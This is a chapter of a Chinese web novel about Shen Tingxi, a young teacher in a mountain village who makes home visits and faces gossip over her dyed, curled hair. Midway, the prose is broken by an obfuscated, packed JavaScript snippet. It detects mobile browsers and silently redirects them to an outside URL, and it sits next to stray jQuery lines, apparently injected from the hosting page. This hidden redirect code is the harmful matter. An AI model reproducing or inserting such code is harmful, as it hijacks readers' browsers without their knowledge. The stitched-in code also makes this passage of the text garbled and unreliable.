沈听溪在假期的第四天在家躺了一整天,明明才放国庆假期,她竟然也和学生一样开始期待着放寒假。
第五天,又是家访的日子,沈听溪起早出发。
走到一半,好友黄玉贺发来电话。
“喂?小黄,咋滴啦。”
黄玉贺的声音从电话那端响起,一惊一乍:
“你知不知道你那个地方信号很不好?!我发了好多信息,你才看到几条?”
信号不好,这个毛病哪个村子都有,沈听溪早已习以为常。
“我也没招儿啊,其实在这里也很少有机会能用上手机。”
黄玉贺沉默几秒钟,随后试探:
“你不能去两年回来成了元谋人吧?”
“那倒不至于。就是有一种你想要放下手机去好好体验这大自然的感觉,懂吗?”
“还是手机玩少了,如果你这一辈子都待在这里,就不会想去看了。”
沈听溪点头表示认同:
“这倒也是,如果一辈子都待在这里,估计我会疯掉的。”
二人又简单寒暄一番后挂掉电话,沈听溪继续“吭哧吭哧”地骑自行车。
又来到一个陌生的山村,沈听溪下车推着走,头发也有些凌乱。
好在陈大宝家离村口近,找起来也不费力。
陈大宝家的父母都在家,沈听溪来的时候他的父亲正在劈柴,母亲在屋子里烧水。
见门口来的人,陈父抹把汗,将斧头劈在木桩子上,过来开门。
陈大宝的父亲叫陈天华,个子不高,皮肤黑黝黝的。
“是沈老师吧,快进来。”
陈大宝家的门是木头桩子做成的,来回开关不容易,需要有人抬着,遇上雨天,第二天门口就会木门就会陷入一片泥泞中。
“这次来家访没别的事,就是想多了解一下孩子的情况,看看学校和家里怎么一起努力,让孩子学得更好,也更开心。”
陈天华笑了笑,摆手道:
“没事儿,老师有啥问题你尽管问。”
陈大宝和他的母亲闻声也坐到客厅,和沈听溪问好。
陈大宝的母亲叫田静玉,个子和陈天华差不多高,瓜子脸,双手同其他村里人一样布满茧子。
“老师,俺们家大宝在学校里学习咋样?”
田静玉开门见山就想问陈大宝的成绩,其实平时考试的成绩她也看过,当面问老师会觉得更加稳妥。
沈听溪没见过开口第一句就是问成绩的。
她尽量把话说的委婉些,能让家长听明白,也不会伤到孩子的自尊心。
“大宝在学校特别热心肠,班上同学有什么事他都主动去帮忙,劳动也特别积极,是个很好的孩子,脑子也转的快,有一回课堂提问时他第一个举手,至于学习成绩……
孩子其实还有一些提升空间,我来这里时间也不算长,但我会继续观察咱家孩子平时的学习习惯,然后分析他哪一科薄弱,因为什么,你放心,孩子可以通过努力来慢慢提升。”
其实当她说到有一些提升空间的时候,田静玉的脸色就已经不算得上好。
但碍于还有外人在场,她不好说什么。
一旁的陈大宝听见沈听溪没有向他的父母告状,原本阴沉的小脸也逐渐有了笑容。
老师不仅肯定了他的优点,还说他会进步。
沈听溪照例问了陈大宝的父母一些问题,通过这些问题的回答,沈听溪已经隐约感觉到了他们内心真实的想法。
和一些农村的父母想法一样,无非是觉得孩子读这么多年的书没啥用,不如回家放牛。
沈听溪尽全力去委婉的劝说这种想法,他们表面上回应的很好,但实际上想的什么样她不敢保证。
一个小时后,沈听溪踏上回家的路。
她登着那辆老旧的二八大杠,细窄的车轮碾过黄土路,发出沙沙声。
和她疲惫的身体同频。
有时遇上上坡,自行车骑上去格外费力,这就不得不需要她站起来用力蹬踏。
沿途的风景,是一片片梯田,稻子刚收完,留下一簇簇稻茬,透出收获后的苍凉与寂寥。
近目远眺,好像路的尽头永远是大山,一座接着一座,而山的后面也是山。
整个世界仿佛陷入一片寂静,沈听溪只能听得到自行车链的摩擦声,和自己有些急促的呼吸声。
大山苍茫而厚重,它仿佛永远是一片静谧的土地,等待着人们在它身上劳作,然后用这片土地去滋养他们。
她这时总会想起那一双双求知若渴的眼睛,淳朴而又充满着野性。
她知道,她脚下的这条路,和她当初选择的那条路,都一样,很长,很远,需要她一次又一次地用力蹬踏,才能前进那么一点点。
任重而道远啊。
国庆七天假期很快一晃而过,同学们再一次回到课堂,个个脸上或多或许都洋溢着笑容。
沈听溪也很开心能看到他们这么纯真的笑容。
上完三年级二班的一堂课后,沈听溪本想回到办公室继续写教案,却被一个小姑娘拦住了脚步。
“是有什么问题吗?叶同学。”
叶同学的神情有些严肃又有些局促,她示意沈听溪弯一下腰,这件事要贴着她耳朵说。
沈听溪配合她弯腰,叶同学认真地一字一句道:
“小沈老师,我觉得你染的这个头发十分漂亮,像我玩的娃娃。但是,村子里的人都说你……”
她欲言又止。
沈听溪只觉得自己心跳漏了一拍,接着她安抚叶同学。
“没关系,不要紧张。说出来吧,老师能接受。”
叶同学一副快哭出来的表情:
“我听村子里的人说你头发卷卷的,颜色还像麦子一样,不知道要花多少钱,而且还不像一个正经老师,还有点不学好的样子。”
沈听溪其实可以猜得到那些人说的话有多难听,只是叶同学不忍说出口罢了。
她内心泛起一丝酸楚,不过很快调整好情绪,沈听溪蹲下来和叶同学平视:
“其实美有很多样子,有的时候你不喜欢他就会喜欢,山上的花五颜六色那也是美,小叶同学,老师很感谢你能把这个消息告诉我。
但我想要告诉你的是,美,是为了取悦自己,只要我这么打扮,开心快乐,那就不要去在意他人的看法,知道了嘛?”
叶同学的目光变得越来越坚定,随后她乖乖地“嗯嗯”一声走开了。
她很高兴能有一次机会教导女学生如何辨别并学会爱美,但确实没想到会在这种情况下。
根深蒂固的文化隔阂让沈听溪更加明白了教育的意义。
至于头发的颜色?她不会染黑的。
非但不会染黑,她还要继续披着。
这点小插曲过后,沈听溪也并没有过多在意。
该教课继续教课。
可一回到办公室,同事们总带着一种奇怪的眼神看着她。
一旁坐着的比较年长的女老师忍不住拉着她提醒道:
“小沈啊,我在这里工作几十年了,咱入乡随俗吧,打扮的太出格,乡亲们都看不惯啊。”
虽然他们都是城里过来的老师,也带有先进的目光,但毕竟他们占少数,村里村外那么多人,他们早就习惯“息事宁人”。
她是善意提醒,沈听溪也知道她是为了自己好。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271203|182307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>可乡亲们看不惯,那就是错的吗?
靠窗的一位女老师,今年30岁,她的头发没有像沈听溪那样染了颜色,不过也是烫了同样的卷。
她就翻个白眼,阴阳怪气道:
“小沈,别管他们,咱们该美美,碍着他们啥事儿?”
关键抉择在于沈听溪,她犹豫一会儿还是决定不改变自己的头发。
“谢谢你们提醒我,不过我还是觉得我头发挺好的,不需要改颜色,也不需要拉直,既然我是受过高等教育的,有先进眼光的,那我的使命就是要来改变这里的眼界和看法,这里的风水习俗我自然会尊重,但我不想被陋习给同化掉。”
办公室里的老师有一些表示认同,有些则不吭声。
本以为这件事在办公室里议论议论也就罢了。
直到沈听溪带队放学,少数有条件来接学生放学的家长一看见他又开始小声蛐蛐。
“头发染色也就算了,穿的还这么花里胡哨,这是来给俺娃教课的吗?”
“听说上课还给孩子们看一些外国玩意儿,都教啥乱七八糟的东西。”
……
沈听溪且当做什么都没看见,她也不主动去触那些人的霉头,等都散的差不多了,她再走。
刚拎着办公包走出没多远,她身后传来一阵脚步声,还有一个陌生女人带着孩子的说话声。
“沈老师!”
沈听溪回头一看,原来是小叶同学。
她身后的女人应该就是她的妈妈。
“沈老师好。”
叶妈妈有些腼腆,很礼貌的和她打招呼。
“您好小叶妈妈,请问叫我是有什么事吗?”
沈听溪猜到她可能是想问一下小叶同学最近的学习成绩。
“不,没啥事,就是最近村里人……说话都太难听,刚刚小叶也和我说了,我觉得你头发挺好看的,不用理那些人。”
让沈听溪出乎意料的是居然有家长特意来跟她说这件事。
这是意想不到的温暖与鼓励。
“谢谢你小叶妈妈,我不会在意村民的说什么的。”
和母女二人告别后,沈听溪回了家。
嘴上说的不在意,实际上在陈默白家蹭饭的时候还是会不由自主的把目光放在自己的卷发上。
不是怀疑自己的决定,而是在想怎样才能停止这场毫无意义的纷争。
“陈默白,你说我要怎么做才能让乡亲们不再把目光放在我的头发上呢?”
陈默白拿着筷子的手都僵硬几分,他其实也不知道有什么办法。
“也许过一段时间就好了。”
他安慰人的能力真是一如既往的差。
沈听溪撇嘴,长叹一口气。
陈默白误以为她很难过,极力在想着脑中为数不多的词汇量。
“别难过,头发真的很漂亮。”
每次他说的字一多,后面的话总会说的很慢。
“哎呀,我不难过,只是觉得他们这样蛐蛐搞得我有点头疼。”
陈默白有些质疑:
“真的?”
沈听溪咽下最后一口饭,点头:
“当然只是头疼而已,怎么说怎么骂我都无所谓,你别忘了我是哪里人”
刚刚和沈听溪接触的时候,陈默白其实仅凭她说话判断不出来她是哪里人。
但接触的时间久了,就很容易听出来。
有的时候一股大碴子味。
沈听溪挑眉补充道:
“说白了,抽卡还有保底机制呢,惹到我一定程度,我能撅得他干吃哑巴亏。”
现在纯是因为她还是老师,要给学生做一个文明有礼貌的榜样。